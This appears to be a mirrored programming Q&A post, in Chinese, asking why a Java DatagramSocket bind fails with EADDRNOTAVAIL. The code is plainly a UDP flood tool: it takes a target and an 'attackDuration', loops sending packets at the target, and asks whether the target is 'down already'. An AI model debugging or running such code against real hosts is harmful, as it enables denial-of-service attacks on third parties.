【发布时间】:2022-01-16 17:49:44
【问题描述】:
当以下代码运行时,我在socket = new DatagramSocket(8079, ip); 行中抛出一个异常,说 java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)。我不确定为什么会这样。代码如下:
public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
targetURL = new URL("http://" + target);
this.serverPort = serverPort;
this.attackDuration = attackDuration * 1000;
}
@Override
public void run() {
long startTime = System.currentTimeMillis();
try {
ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
Log.d("tag1", ip.toString());
}
catch(UnknownHostException uhe) {
System.out.println("Unknown host");
ipAddressAbleToBeFound = false;
}
if (ipAddressAbleToBeFound) {
try {
socket = new DatagramSocket(8079, ip);
}
catch(SocketException se) {
System.out.println("Unable to send request, is it down already??");
se.printStackTrace();
socketAbleToBeCreated = false;
}
if (socketAbleToBeCreated) {
while(System.currentTimeMillis() < startTime + attackDuration) {
byte[] buffer = {10,23,12,31,43,32,24};
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
try {
socket.send(packet);
}
catch(IOException ioe) {
System.out.println("I/O error occurred");
}
}
}
}
}
}
谢谢!
【问题讨论】:
标签: java sockets networking